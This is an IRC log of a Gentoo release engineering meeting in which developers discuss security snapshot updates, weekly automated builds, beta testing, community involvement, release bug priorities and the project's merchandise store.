+Jan 23 12:55:23 <agaffney>	Blackb|rd: part of the problem last time was that wolf31o2|work was trying to update the snapshot for *every* sec bug, isntead of just the ones that affected the media
+Jan 23 12:55:24 <Blackb|rd>	wolf31o2|work: *nod*
+Jan 23 12:55:31 <phreak``>	wolf31o2|work: was about to say that :) since it keeps you from doing all the work ;)
+Jan 23 12:55:35 <welp>	angelos will be too drunk to do anything!
+Jan 23 12:55:36 <Blackb|rd>	agaffney: I kinda noticed.
+Jan 23 12:55:41 <phreak``>	bah, even andew is faster :P
+Jan 23 12:55:49 <wolf31o2|work>	right... I was definitely the single point of failure on that one... heh
+Jan 23 12:56:11 <wolf31o2|work>	ok... so schedule looks alright (it can be adjusted as we go, of course...)
+Jan 23 12:56:19 <nixnut>	tinderbox and make binpkgs available for the security updates?
+Jan 23 12:56:28 <welp>	i think the arch releng coordinator definitely needs to keep in touch with the arch security liaison here
+Jan 23 12:56:36 <agaffney>	nixnut: won't help us all that much
+Jan 23 12:56:39 <Blackb|rd>	the 29/2 mark for b1 should be the point where stuff hinges on.
+Jan 23 12:56:52 <nixnut>	agaffney: beats rebuilding all the stages I reckon
+Jan 23 12:56:58 <wolf31o2|work>	Blackb|rd: pretty much, yes
+Jan 23 12:57:05 <agaffney>	nixnut: you'd still have to rebuild the stages
+Jan 23 12:57:08 <phreak``>	welp: they have to, still amd64 keeps falling behind ;)
+Jan 23 12:57:14 <agaffney>	after updating the snapshot and pushing a new one out
+Jan 23 12:57:14 <nixnut>	agaffney: why?
+Jan 23 12:57:16 <wolf31o2|work>	nixnut: we have lots of caching in catalyst...
+Jan 23 12:57:34 <welp>	phreak``: well, i'm the new security liaison, so hopefully things will improve :P
+Jan 23 12:57:40 <nixnut>	wolf31o2|work: ah, ok. Not that much work as I thought then
+Jan 23 12:57:40 <agaffney>	nixnut: subsequent runs use binpkgs from previous runs
+Jan 23 12:57:45 <nixnut>	nod
+Jan 23 12:57:50 <phreak``>	agaffney: that ain't much of a problem (rebuilding the stage) when you have the binpkg handy ;)
+Jan 23 12:57:53 <agaffney>	nixnut: only the sec bumped package would need to be rebuilt
+Jan 23 12:57:59 <wolf31o2|work>	k... so let's move on (this is taking longer than I hoped)
+Jan 23 12:58:09 <phreak``>	ha. then move on :)
+Jan 23 12:59:17 <wolf31o2|work>	automated regular internal release builds... this is basically extending andrew's stage-building script to include *everything* for a particular arch (though only necessary sub-arches for functionality)...
+Jan 23 12:59:55 <wolf31o2|work>	the reason for us splitting off the new release as soon as the old is done is for these auto-builds... they'll check out the SVN for the new release and use the new dev profile... so we find problems and fix them, year-round... instead of just during the release cycle...
+Jan 23 13:00:15 <agaffney>	wolf31o2|work: the problem with doing anything more than stages is that you need a per-arch template for livecd-stage[12].spec
+Jan 23 13:00:19 <Blackb|rd>	wolf31o2|work: we had thought about internally doing continous building for alpha (since we got shiny new disk space). I think it's a good idea.
+Jan 23 13:00:23 <dertobi123>	how "internal" do you want this builds to be?
+Jan 23 13:00:48 <wolf31o2|work>	agaffney: that's fine... we're going to be pulling the specs from SVN and using them directly... so it really be the same as what we do for releases
+Jan 23 13:00:49 <agaffney>	dertobi123: run on a dev box and not distributed to mirrors
+Jan 23 13:01:15 <Blackb|rd>	wolf31o2|work: Of course, this will help with 2008.1 earliest, not 2008.0.
+Jan 23 13:01:27 <wolf31o2|work>	dertobi123: what andrew said... you could distribute them to people you wanted to test them and such... but they won't hit the main mirrors
+Jan 23 13:01:42 <wolf31o2|work>	Blackb|rd: right... since 2008.0 starts $soon
+Jan 23 13:01:53 <phreak``>	wolf31o2|work: ok, I think I'd like some clarification on the auto-build. Like do you want it refreshing every time someone updates the specs, once a day, once a week ... ?
+Jan 23 13:01:56 <Blackb|rd>	wolf31o2|work: and we'd need to get the process to run smoothly, too.
+Jan 23 13:01:56 <phreak``>	:)
+Jan 23 13:02:01 <dertobi123>	ok, let me propose to manually distribute a selected subset of automated builds to /experimental "if necessary". i.e. new kernel with extended hardware support has been released and the latest "release" install media doesn't work for a number of users
+Jan 23 13:02:18 <agaffney>	phreak``: we were running weekly automated builds from the live portage tree on poseidon for x86/amd64
+Jan 23 13:02:26 <phreak``>	agaffney: I know :)
+Jan 23 13:02:37 <wolf31o2|work>	phreak``: well, we've been doing once a week... I think that works... we can adjust the schedule if we find that we need to do so...
+Jan 23 13:02:44 <Blackb|rd>	agaffney: keep in mind that a too tight schedule might pose a problem for the less-endowed archs
+Jan 23 13:02:46 <phreak``>	wolf31o2|work: aight.
+Jan 23 13:02:57 <agaffney>	the "best" way would be to re-pull the specs from CVS/SVN once a week and create a new snapshot from the live tree at that time
+Jan 23 13:03:00 <wolf31o2|work>	dertobi123: that's totally up to the individual arch team... releng doesn't control /experimental
+Jan 23 13:03:05 <agaffney>	similar to what we were already doing
+Jan 23 13:03:15 <wolf31o2|work>	that was the plan
+Jan 23 13:03:35 <agaffney>	I guess it gets a +1 from me, then :P
+Jan 23 13:03:38 <dertobi123>	wolf31o2|work: k ...
+Jan 23 13:03:43 <Blackb|rd>	same 'ere
+Jan 23 13:03:44 <wolf31o2|work>	dertobi123: I mainly meant that they're not going to go to the mirrors automatically or anything
+Jan 23 13:03:59 <phreak``>	agaffney: only if you add hardened foo to your buildlist ;)
+Jan 23 13:04:08 <agaffney>	phreak``: use miranda :P
+Jan 23 13:04:11 <Halcy0n>	wolf31o2|work: yea, I'll help you come up with some checklists and crap to give testers.  Currently I'm the only active QA members really (maybe one or two others, so expect some slight latency in replies :) )
+Jan 23 13:04:21 <wolf31o2|work>	phreak``: I'll get with you on that... but yes, I was planning on including hardened, of course
+Jan 23 13:04:38 <dertobi123>	wolf31o2|work: no need to push them out automatically, but having a x86 install-media which works on "current" hardware somewhere would be nice ;)
+Jan 23 13:04:45 <phreak``>	agaffney: *grmpf* fix my issues building x86 stages on a amd64 host :P
+Jan 23 13:04:56 <wolf31o2|work>	Halcy0n: no problem... just join the gentoo-releng list and participate in the discussion (once we start it)
+Jan 23 13:04:59 <agaffney>	phreak``: WFM
+Jan 23 13:05:10 <phreak``>	agaffney: you ain't using gcc-3.4.6 :P
+Jan 23 13:05:21 <agaffney>	phreak``: I'm not insane :P
+Jan 23 13:05:24 <Blackb|rd>	x86 and amd64 are moving very wuickly currently, so I think it's a good idea to have "quickfix" images in /exp
+Jan 23 13:05:31 <phreak``>	agaffney: damn, just shutup :P
+Jan 23 13:05:48 <dertobi123>	Blackb|rd: yeah, that's what i meant to say :P
+Jan 23 13:06:10 <Blackb|rd>	dertobi123: I got bitten by that with our amd64 machines at work :/
+Jan 23 13:06:19 <wolf31o2|work>	Blackb|rd: dertobi123: again, that's up to the individual arch team... anybody can do an interim release now (in /experimental)... that won't change...
+Jan 23 13:06:25 <dertobi123>	Blackb|rd: use ting :P *cough*
+Jan 23 13:06:32 <agaffney>	Blackb|rd: I'd certainly have no problem doing a quick minimal CD rebuild with a new kernel
+Jan 23 13:06:35 <agaffney>	for x86
+Jan 23 13:07:09 <Blackb|rd>	agaffney: So do I. Many user don't have the expertise.
+Jan 23 13:07:14 <ColdWind>	do we will have access to internal stages on dev boxes or is it closed to arch teams and releng?
+Jan 23 13:07:30 <agaffney>	ColdWind: I'm sure something can be arranged
+Jan 23 13:07:33 <wolf31o2|work>	ok... so my long-term goal for the automatic builds is for us to be able to use them as our initial beta... we pick one that's as close to release quality as possible, release it as beta, *then* start the release cycle (snapshot/qa/another beta/possible rc/release)
+Jan 23 13:07:49 <agaffney>	there's no reason for us to "hide" them, especially if someone needs something
+Jan 23 13:07:51 <wolf31o2|work>	ColdWind: it'll all be open to devs... it is now
+Jan 23 13:07:56 <Blackb|rd>	wolf31o2|work: Yep.
+Jan 23 13:08:05 <ColdWind>	wolf31o2|work: ok
+Jan 23 13:08:10 <dertobi123>	wolf31o2|work: sure, but this problem affects releng (and imho this problem is somewhat essential for us)
+Jan 23 13:08:23 <wolf31o2|work>	dertobi123: huh?
+Jan 23 13:08:33 *	agaffney senses a delayed reply
+Jan 23 13:08:46 <Blackb|rd>	A disturbance in the laf.
+Jan 23 13:08:48 <Blackb|rd>	lag*
+Jan 23 13:08:58 <agaffney>	fail
+Jan 23 13:08:59 <rangerpb>	wolf31o2|work, although I would suggest most of our problems with releases are not so much the stages as media right?
+Jan 23 13:09:06 <dertobi123>	wolf31o2|work: wrt experimental stuff ... whatever
+Jan 23 13:09:08 <rangerpb>	least it is for my archs
+Jan 23 13:09:09 <Blackb|rd>	agaffney: I always ruin the good lines :(
+Jan 23 13:09:20 <dertobi123>	keeping it up the arch teams only didn't work in the past
+Jan 23 13:09:25 <wolf31o2|work>	dertobi123: if you want to build a new CD for your arch right now... you can... the *only* things I ask is you don't name it a "release" name, like 2008.0... and it goes to /experimental...
+Jan 23 13:09:48 <agaffney>	rangerpb: I'd agree. the most common problem is outdated kernel for new hardware
+Jan 23 13:09:54 <Blackb|rd>	wolf31o2|work: maybe that needs to be stated more explicitly
+Jan 23 13:10:00 <agaffney>	that's of course usually only a problem on "main" arches like x86/amd64
+Jan 23 13:10:17 <agaffney>	at least, more of a problem on those arches
+Jan 23 13:10:19 <wolf31o2|work>	dertobi123: I'm not sure I'm following... both the arch teams and releng can so interim stuff now... we just generally don't...
+Jan 23 13:10:25 <Blackb|rd>	wolf31o2|work: one thing wrt the openness of releng and the build process is that people know they can burn wtf they want
+Jan 23 13:10:46 <dertobi123>	wolf31o2|work: and that "we don't" is exactly the problem
+Jan 23 13:11:08 <rangerpb>	agaffney, I have some ideas around that if we get to a "feature" part of this meeting
+Jan 23 13:11:10 <agaffney>	dertobi123: releng doesn't because most of us don't want to look at another stage tarball for a few months after a release cycle
+Jan 23 13:11:10 <Blackb|rd>	dertobi123: you're thinking of an explicit interim release?
+Jan 23 13:11:12 <wolf31o2|work>	dertobi123: ok... this has nothing to do with the automated builds... can we hold it off until later
+Jan 23 13:11:30 <dertobi123>	dunno how some interim is stuff is called, but we need such interim stuff on a somewhat "official" base for x86/amd64
+Jan 23 13:11:40 <dertobi123>	Blackb|rd: somewhat, yeah
+Jan 23 13:11:43 <dertobi123>	wolf31o2|work: k
+Jan 23 13:12:56 <wolf31o2|work>	ok.. so on the subject of the regular builds... everybody seems in agreement?
+Jan 23 13:13:02 <agaffney>	seems so
+Jan 23 13:13:06 *	Blackb|rd is all for it.
+Jan 23 13:13:13 <tgall_foo>	yup
+Jan 23 13:13:13 <wolf31o2|work>	I'd like to run these on dev boxes, of course...
+Jan 23 13:13:21 <wolf31o2|work>	cool... then to the next point...
+Jan 23 13:13:30 <wolf31o2|work>	how do we involve the community more?
+Jan 23 13:13:37 <wolf31o2|work>	betas will *definitely* help a lot
+Jan 23 13:13:43 <Blackb|rd>	wolf31o2|work: QA testing is one area
+Jan 23 13:13:53 <phreak``>	wolf31o2|work: well, for starters, the beta cycle. (you already mentioned it)
+Jan 23 13:13:57 <Blackb|rd>	wolf31o2|work: I.e. public betas and explicitly asking for feedback
+Jan 23 13:14:14 <Blackb|rd>	I think the latter is more important than the former.
+Jan 23 13:14:31 <Blackb|rd>	Usually, you have to pull quality feedback out of people's noses.
+Jan 23 13:14:41 <wolf31o2|work>	Blackb|rd: right... we're definitely going to spend more time on QA throughout the entire process
+Jan 23 13:14:46 <agaffney>	wolf31o2|work: not having to go through an intermediary (like we did with roger55) will probably help
+Jan 23 13:15:05 <tgall_foo>	sadly you almost want a beta that phones home as to what it was successfully run on
+Jan 23 13:15:13 <wolf31o2|work>	agaffney: for release testers, agreed... and for the betas, we'll ask people to file bugs, like normal...
+Jan 23 13:15:18 <ColdWind>	users testing betas will want a list of thing they're expected to test
+Jan 23 13:15:24 <Blackb|rd>	Also, it might be nice to get feature requests/wishes earlier, for example directly after a release.
+Jan 23 13:15:25 <wolf31o2|work>	ColdWind: we already discussed that
+Jan 23 13:15:39 <wolf31o2|work>	Blackb|rd: indeed... that would help, for sure...
+Jan 23 13:16:03 <Blackb|rd>	When people think 2008.0 sucked for some reason, they will have forgotten until 2008.1 beta time.
+Jan 23 13:16:09 <ColdWind>	yep, I mean it should be clear what they should *test* not just the info they should report with bugs
+Jan 23 13:16:32 <dsd_>	did i miss the meeting?
+Jan 23 13:16:38 <wolf31o2|work>	ColdWind: right... it'll have both
+Jan 23 13:16:41 <welp>	dsd_: still ongoing
+Jan 23 13:16:42 <wolf31o2|work>	dsd_: nope
+Jan 23 13:16:43 <Blackb|rd>	wolf31o2|work: also, the hardware survey is a good idea. Especially for the more obscure arches.
+Jan 23 13:16:46 <agaffney>	Blackb|rd: there was a thread on -releng after 2007.0 asking for features people wanted...hardly any response
+Jan 23 13:16:57 <ColdWind>	good ;)
+Jan 23 13:17:16 <Opfer>	May I throw in app-admin/hwreport for hardware survey?
+Jan 23 13:17:17 <Blackb|rd>	agaffney: yeah. Maybe involving the forum peole might be a good idea. Have a poll citing ten things we might include.
+Jan 23 13:17:18 <wolf31o2|work>	Blackb|rd: I find it more important for the least obscure arches... since there's only so many alpha boxes out there... but literally thousands of combinations of x86/amd64 stuff...
+Jan 23 13:17:22 <dberkholz>	dsd_: my very rough, still in-progress summary: http://dev.gentoo.org/~dberkholz/20080123_releng_summary.txt
+Jan 23 13:17:26 <phreak``>	agaffney: most likely because people don't watch releng
+Jan 23 13:17:26 <dsd_>	thanks
+Jan 23 13:17:34 <phreak``>	(as in the mailinglist)
+Jan 23 13:17:40 <wolf31o2|work>	Opfer: interesting... let's discuss that after the meeting...
+Jan 23 13:17:41 <Blackb|rd>	agaffney: if people just ahve to click to vote, they do so more freely than when they have to type up a mail
+Jan 23 13:17:58 <Blackb|rd>	wolf31o2|work: good point.
+Jan 23 13:18:17 <rane>	drop a news item to the front page that you need feedback on what users need for next release
+Jan 23 13:18:41 <wolf31o2|work>	rane: good idea
+Jan 23 13:18:50 <rane>	dberkholz can help you with that
+Jan 23 13:18:55 <rane>	:-)
+Jan 23 13:19:01 <dberkholz>	robbat2's been talking about getting his survey framework up for the user survey. use the same setup.
+Jan 23 13:19:08 <Blackb|rd>	rane: providing feedback should be as easy as possible without encouraging spamming
+Jan 23 13:19:19 <Blackb|rd>	dberkholz: I was about to suggest the same.
+Jan 23 13:19:21 <wolf31o2|work>	sure... until that's up and running, we'll use the list
+Jan 23 13:19:25 <Halcy0n>	Yea, I think the more we try to actually involve our users with the entire releng and development process will go a long way in improving developer<->user relationships.
+Jan 23 13:19:37 <wolf31o2|work>	I'll just announce to -user and -dev-announce when I start the threads
+Jan 23 13:19:52 <wolf31o2|work>	Halcy0n: indeed... *and* it'll improve our quality as a side-effect
+Jan 23 13:20:28 <Blackb|rd>	wolf31o2|work: Also, it might be a nice occasion to point out resources releng needs direly. Like arch teams without build machines.
+Jan 23 13:20:34 <wolf31o2|work>	cool... I think we've got a few good ideas on this... let's move on
+Jan 23 13:20:41 <wolf31o2|work>	Blackb|rd: that's on the agenda
+Jan 23 13:20:42 <Blackb|rd>	wolf31o2|work: and of course the ever popular manpower.
+Jan 23 13:20:54 <armin76>	just have to see how a lot of ppl are joining and leaving :P
+Jan 23 13:21:02 <wolf31o2|work>	so... basically the same question, but for developers...
+Jan 23 13:21:08 <wolf31o2|work>	how do we involve the other devs more?
+Jan 23 13:21:37 <wolf31o2|work>	I know they'll be involved a bit more just with the betas... and I'm hoping that they'll test things with the automated builds, since they will be available to them...
+Jan 23 13:21:41 <codeman>	wolf31o2|work: announce betas to the mailing lists?
+Jan 23 13:21:53 <wolf31o2|work>	codeman: we will be doing that... and the front page and everywhere else...
+Jan 23 13:22:09 <Blackb|rd>	wolf31o2|work: it's tricky. On one hand you want them to schedule their major releases around the media release. On the other hand you don't want all major releases two days before media release.
+Jan 23 13:22:17 <dberkholz>	appeal to their motivations for being a developer in the first place. ask them to test their own packages on the release, if applicable.
+Jan 23 13:22:20 <rbu>	phreak``: wolf31o2|work++ on announcing betas and public tests
+Jan 23 13:22:31 <wolf31o2|work>	dberkholz: right
+Jan 23 13:22:56 <agaffney>	dberkholz: I like that...guilt trip them :P
+Jan 23 13:23:10 <codeman>	dberkholz: i agree.  the more you can convince devs that they are responsible for their packages working on each release, the better.
+Jan 23 13:23:13 <wolf31o2|work>	dberkholz: well, I'm thinking more of things that we could do to involve people more... rather than the devs just being "consumers'
+Jan 23 13:23:55 <wolf31o2|work>	one thing I would like to propose is for "release" bugs to maybe be a higher priority...
+Jan 23 13:24:04 <nightmorph>	wolf31o2|work: will you be wanting a beta handbook tarball then for every beta? i'm wondering because this means that, in effect, the GDP will be perpetually having to update 3 separate handbooks
+Jan 23 13:24:09 <nightmorph>	instead of the 2 we have now
+Jan 23 13:24:17 <phreak``>	wolf31o2|work: well, educate them like dberkholz said. that the release is one of the show-offs for their packages, or something along the lines
+Jan 23 13:24:20 <nightmorph>	well, 4 i guess
+Jan 23 13:24:21 <dberkholz>	i've got plenty of ideas, but they might be better discussed later.
+Jan 23 13:25:11 <wolf31o2|work>	right now, there's really no determination (for arch teams and others) of what priority they should work on release bugs... we could have it something like: security -> release -> stable -> other... now it's security -> stable -> other (with us falling into other)
+Jan 23 13:25:31 <agaffney>	we do tend to get back-burnered
+Jan 23 13:25:33 <wolf31o2|work>	nightmorph: unless there's a docs bug and you feel the need to do so, no...
+Jan 23 13:25:34 <rbu>	wolf31o2|work: add a RELEASE keyword in bugz?
+Jan 23 13:25:42 <nightmorph>	wolf31o2|work: k
+Jan 23 13:25:51 <wolf31o2|work>	rbu: that could definitely help
+Jan 23 13:25:54 <dberkholz>	should be easy enough to just search for bugs with a releng CC.
+Jan 23 13:26:05 <wolf31o2|work>	release CC, but yes
+Jan 23 13:26:23 <wolf31o2|work>	also, I'd like help from you guys with the release@ bugs, specifically the ones that are media-related...
+Jan 23 13:26:35 <wolf31o2|work>	I often feel that I'm one of the only ones looking at them
+Jan 23 13:27:06 <rangerpb>	can we put a tinurl for the query in /topic?
+Jan 23 13:27:12 <wolf31o2|work>	(yes, all of you have helped, I'm not saying you haven't)
+Jan 23 13:27:15 <wolf31o2|work>	rangerpb: sure
+Jan 23 13:27:15 <rangerpb>	er tinyurl
+Jan 23 13:27:44 <wolf31o2|work>	ok... that's a good start for that... again, we can continue on -releng list
+Jan 23 13:27:45 <codeman>	wolf31o2|work: i'd also like to re-propose using dotproject to keep the releases organized.
+Jan 23 13:27:54 <rangerpb>	wolf31o2|work, probably want to add a release bugs squashed in your schedule
+Jan 23 13:28:05 <codeman>	wolf31o2|work: it'll allow releng + devs to see what's going on easily.
+Jan 23 13:28:15 <wolf31o2|work>	codeman: ehh... I've considered it... I'll look at it again... but it was *way* too much work to set everything up last time... I got frustrated doing it
+Jan 23 13:28:34 <Blackb|rd>	wolf31o2|work, codeman: it's also *another* tool to learn
+Jan 23 13:29:01 <Blackb|rd>	And already some people need to be whipped to use Bugzilla
+Jan 23 13:29:16 <wolf31o2|work>	well, we don't track progress in bugzilla
+Jan 23 13:29:18 <Blackb|rd>	(with the exception of armin76 who always enjoys a good whipping)
+Jan 23 13:29:29 <armin76>	a what :P
+Jan 23 13:29:43 <codeman>	Blackb|rd: it would be mainly used by releng to see who's made tarballs and which arches are slacking.
+Jan 23 13:29:47 <Blackb|rd>	wolf31o2|work: that's right, but it might be easier to coax bugz into doing that.
+Jan 23 13:29:47 <wolf31o2|work>	I'd done it several ways in the past... probably the most successful (IMO) was when I kept junk in a spreadsheet and just exported it to html in my dev space
+Jan 23 13:29:57 <wolf31o2|work>	but I want something everyone can update, so we'll find something better
+Jan 23 13:30:08 <codeman>	wolf31o2|work: google docs spreadsheet? :)
+Jan 23 13:30:16 <wolf31o2|work>	codeman: maybe... heh
+Jan 23 13:30:27 <nightmorph>	aaaaand on that note, i have to head off to work. thanks for the meeting gents; the handbook tarball date of 2-29 works for me. any other changes that come up that might relate to docs, email me.
+Jan 23 13:30:50 <wolf31o2|work>	nightmorph: will do
+Jan 23 13:30:57 <nightmorph>	thanks ya'll! see you around ;)
+Jan 23 13:31:00 <wolf31o2|work>	heh... nick complete sucks in here right now with all these other people...
+Jan 23 13:31:27 <wolf31o2|work>	ok... the store... I'm looking into alternatives to cafepress... as they don't do DVD media...
+Jan 23 13:31:41 <wolf31o2|work>	dberkholz gave me a nice link to look into...
+Jan 23 13:32:09 <wolf31o2|work>	one thing I would like to do is to try to find some place in europe to essentially do the same thing... so people don't have to pay outrageous shipping...
+Jan 23 13:32:35 <Blackb|rd>	wolf31o2|work: I was saying. Keep the Europeans in mind. And not everybody can/wants to use Paypal.
+Jan 23 13:32:38 <agaffney>	wolf31o2|work: did you read that URL that someone gave you in #-infra yesterday?
+Jan 23 13:32:38 <wolf31o2|work>	so my question about what to do with the store is really... what do we want on our store? (release-wise)
+Jan 23 13:32:57 <agaffney>	that compared cafepress to a few other services
+Jan 23 13:33:09 <wolf31o2|work>	agaffney: read 3 comments ago... I looked at it... I need to spend more time on it, though
+Jan 23 13:33:12 <ColdWind>	wolf31o2|work: wrt Europe, what about Gentoo e.V.?
+Jan 23 13:33:13 <agaffney>	http://www.squidoo.com/cafepress_alternative
+Jan 23 13:33:18 <Blackb|rd>	wolf31o2|work: well, release media is kinda obvious (is it?), but there might be a market for release-specific t-shirts/clothing.
+Jan 23 13:33:24 <agaffney>	ah :P
+Jan 23 13:33:27 <armin76>	a wiki
+Jan 23 13:33:37 <wolf31o2|work>	ColdWind: gentoo e.v. has nothing to do with a store, unless they decided to become an online merchant and nobody told me
+Jan 23 13:33:43 <agaffney>	armin76: we want a wiki on our store? :P
+Jan 23 13:33:49 <armin76>	rofl, no
+Jan 23 13:34:04 <armin76>	i was talking about the other thing we were talking
+Jan 23 13:34:09 <armin76>	my connection dropped :)
+Jan 23 13:34:19 <wolf31o2|work>	Blackb|rd: well, I meant more what media should we offer... in the past, we did the universal/grp and livecd... should we stick with that?
+Jan 23 13:34:32 <ColdWind>	wolf31o2|work: I thought they were selling Gentoo merchandising
+Jan 23 13:34:46 <ColdWind>	anyway, nothing to do with releng
+Jan 23 13:34:50 <wolf31o2|work>	ColdWind: they are not producing it, so it doesn't have any bearing here
+Jan 23 13:35:06 <ColdWind>	ok
+Jan 23 13:35:09 <wolf31o2|work>	we're talking about what we'd be producing... I'm not talking about t-shirts
+Jan 23 13:35:47 <tgall_foo>	unless we did release t-shirts for some reason ...
+Jan 23 13:35:58 <wolf31o2|work>	so... do we stick w/ uni/grp and livecd/dvd (if I can find a vendor to sell them) ?
+Jan 23 13:36:02 <Blackb|rd>	wolf31o2|work: I think anything smaller than 650M is kinda moot. People have broadband these days.
+Jan 23 13:36:13 <dertobi123>	wolf31o2|work: any numbers on which media has been bought at cafepress how much?
+Jan 23 13:36:21 <agaffney>	wolf31o2|work: I don't see much need for anything other than those you listed
+Jan 23 13:36:37 <wolf31o2|work>	dertobi123: I've sent out several such numbers in the past to -nfp... I can give you estimates, though...
+Jan 23 13:36:38 <tgall_foo>	rangerpb, do you want to bring up the ps3 stage4s ?
+Jan 23 13:37:09 <wolf31o2|work>	amd64 sells the most, x86 second, but close... alpha/ppc sell a few... nobody else sells anything...
+Jan 23 13:37:26 <dertobi123>	wolf31o2|work: from what i recall there weren't that many release media sold via cafepress, so i'd say stick it to dvd media
+Jan 23 13:37:32 <agaffney>	nobody wants a hppa GRP CD? :/
+Jan 23 13:37:32 <wolf31o2|work>	amd64 and x86 were around 40 sold in the time between 2006.0 and 2006.1
+Jan 23 13:37:37 <Blackb|rd>	wolf31o2|work: I guess most of alpha/ppc is memorabilia :)
+Jan 23 13:37:42 <dertobi123>	anything else ... everyone as broadband access somewhere
+Jan 23 13:37:58 <rangerpb>	tgall_foo, nope until Sony gets PS3 in mainline, "ferget about it"
+Jan 23 13:38:08 <dertobi123>	agaffney: the last time we had a hppa grp cd ... was ... err ... more then 3 years ago or so :P
+Jan 23 13:38:14 <tgall_foo>	rangerpb, k ... least the upstream kernel sources is getting there
+Jan 23 13:38:14 <agaffney>	ah :P
+Jan 23 13:38:15 <wolf31o2|work>	that was kinda what I was thinking... making the store media the more rich media... so dvd where possible... and maybe even a DVD Universal+GRP for the others?
+Jan 23 13:38:26 <dertobi123>	than* even
+Jan 23 13:38:38 <wolf31o2|work>	also, do we even want to put up all the arches?
+Jan 23 13:38:41 <Blackb|rd>	Is there anything we could add that *isn't* easily available besides volume?
+Jan 23 13:39:06 <agaffney>	wolf31o2|work: I think it only makes sense to put up the ones that sell
+Jan 23 13:39:11 <agaffney>	x86/amd64
+Jan 23 13:39:17 <dertobi123>	and dvd only
+Jan 23 13:39:18 <Blackb|rd>	agaffney: ++
+Jan 23 13:39:22 <agaffney>	not that I'm discriminating against the other arches :P
+Jan 23 13:39:23 <wolf31o2|work>	Blackb|rd: well, DVD media would be nice, as not everyone has a burner (still... sad...)
+Jan 23 13:39:47 <wolf31o2|work>	ok... so we limit the store to the stuff that actually sells and provides a decent value... sounds good to me... agreed?
+Jan 23 13:39:51 <Blackb|rd>	wolf31o2|work: that's a good point. but what to put on it? GRP packages get old quickly.
+Jan 23 13:40:02 <tgall_foo>	course the downside is there are major amounts of ppc64 hardware without dvd drives ...  but given no sales ... I'm not sure it matters
+Jan 23 13:40:08 <araujo>	it'd still be nice to sell GRP packages
+Jan 23 13:40:16 <araujo>	I think people would buy them too
+Jan 23 13:40:26 <Blackb|rd>	wolf31o2|work: I was thinking "artwork" - but what artwork exactly. Not to mention the copyright status
+Jan 23 13:40:33 <wolf31o2|work>	araujo: well, nobody has really in the past
+Jan 23 13:41:03 <araujo>	wolf31o2|work, really?, I even didn't know we have them ... :-P
+Jan 23 13:41:10 <Blackb|rd>	araujo: would you buy a DVD with GRP packages that are 3 months old?
+Jan 23 13:41:23 <codeman>	Blackb|rd: for someone on dialup, sure.
+Jan 23 13:41:31 <araujo>	Blackb|rd, I can think on many reasons to do it
+Jan 23 13:41:42 <Blackb|rd>	Maybe I'm just too rich :)
+Jan 23 13:41:44 <agaffney>	yes, but if the GRP has been put up in the past and not sold...
+Jan 23 13:41:44 <wolf31o2|work>	Blackb|rd: well, even then, it would *also* be the Universal... so it's still a usable bootable media...
+Jan 23 13:41:46 <armin76>	lol
+Jan 23 13:42:00 <wolf31o2|work>	but yes, nearly no one has bought GRP disks... ever
+Jan 23 13:42:10 <Blackb|rd>	I can see it work for slow-moving stuff like OOo.
+Jan 23 13:42:53 <Blackb|rd>	But then OOo is alsoa available as a -bin for the very same reason
+Jan 23 13:43:00 <wolf31o2|work>	Nysander brought up creating some kind of release bundle... something like: DVD + Gentoo Poster + Gentoo Mouse Pad (or something)...
+Jan 23 13:43:16 <Blackb|rd>	wolf31o2|work: that's what I meant by addons, too.
+Jan 23 13:43:19 <agaffney>	that's an interesting idea
+Jan 23 13:43:26 <dberkholz>	limited-edition merchandise is often more popular
+Jan 23 13:43:31 <wolf31o2|work>	cafepress doesn't let us really create bundles like that... but if it were something we were interested in doing, I could investigate it along with the new vendors
+Jan 23 13:43:36 <wolf31o2|work>	right
+Jan 23 13:43:52 <Blackb|rd>	wolf31o2|work: maybe release-specific poster and DVD. OpenBSD does that, IIRC.
+Jan 23 13:44:35 <wolf31o2|work>	I've also considered the idea of running our own store website, and calling out to CP (or wherever) to place the actual order... so we *could* create a bundle, it just wouldn't be bundled on their end...
+Jan 23 13:44:46 <wolf31o2|work>	but that would require someone to code the site... heh... and I definitely can't do that
+Jan 23 13:44:55 <agaffney>	I could
+Jan 23 13:45:00 <agaffney>	I do that at work all damn day :P
+Jan 23 13:45:09 <agaffney>	I've got e-commerce sites out the wazoo
+Jan 23 13:45:30 <agaffney>	however, I'm not sure if it's worth the effort
+Jan 23 13:45:39 <wolf31o2|work>	ok... we'll discuss that later, then... since we'd need to involve trustees and such in that discussion
+Jan 23 13:45:44 <agaffney>	I'll do it for a percent of the profits ;)
+Jan 23 13:45:46 <wolf31o2|work>	heh
+Jan 23 13:45:48 <Blackb|rd>	We'd get the store in Gentoo look&feel.
+Jan 23 13:46:03 <wolf31o2|work>	Blackb|rd: it already is, a bit... they let us use our own CSS
+Jan 23 13:46:05 <Blackb|rd>	Not sure if that's a pro or a con ;))
+Jan 23 13:46:09 <rbu>	Blackb|rd: is that a good thing?
+Jan 23 13:46:14 <agaffney>	heh
+Jan 23 13:46:17 *	Blackb|rd high-5-s rbu
+Jan 23 13:46:25 <wolf31o2|work>	hehe... ok... moving on
+Jan 23 13:46:44 <wolf31o2|work>	what financial needs do we have? do we need hardware?
+Jan 23 13:46:57 <agaffney>	"need" or *need* ? :P
+Jan 23 13:47:06 <wolf31o2|work>	ok... how about "want"
+Jan 23 13:47:22 <Blackb|rd>	wolf31o2|work: Alpha could use dev machines, shipping is the main problem.
+Jan 23 13:47:32 <Blackb|rd>	wolf31o2|work: amchines for devs, that is.
+Jan 23 13:47:37 <wolf31o2|work>	Blackb|rd: and hosting, no?
+Jan 23 13:47:39 <wolf31o2|work>	ahh... ok...
+Jan 23 13:47:51 *	phreak`` heads of for some sleep
+Jan 23 13:47:51 <wolf31o2|work>	all your devs are in EU, pretty much, right?
+Jan 23 13:47:55 <wolf31o2|work>	phreak``: night, man
+Jan 23 13:48:01 <phreak``>	Sorry guys, but its getting rather late ;)
+Jan 23 13:48:01 <Blackb|rd>	wolf31o2|work: yeah.
+Jan 23 13:48:38 <wolf31o2|work>	well, machines for the alpha devs isn't really releng's concern... I was thinking more along the lines of releng stuff... like, if you needed a dev box hosted
+Jan 23 13:48:53 <Blackb|rd>	wolf31o2|work: we're content there.
+Jan 23 13:49:23 <wolf31o2|work>	I'm wanting some new drives for poseidon... something a bit faster... the machine seems snappy enough for what we're doing... but that might change with the automated builds... so we'll see...
+Jan 23 13:49:24 <Blackb|rd>	wolf31o2|work: I talked off-channel with dertobi123 about his hppa machine needing hosting. I might be able to work something out (he lives not far from where I do).
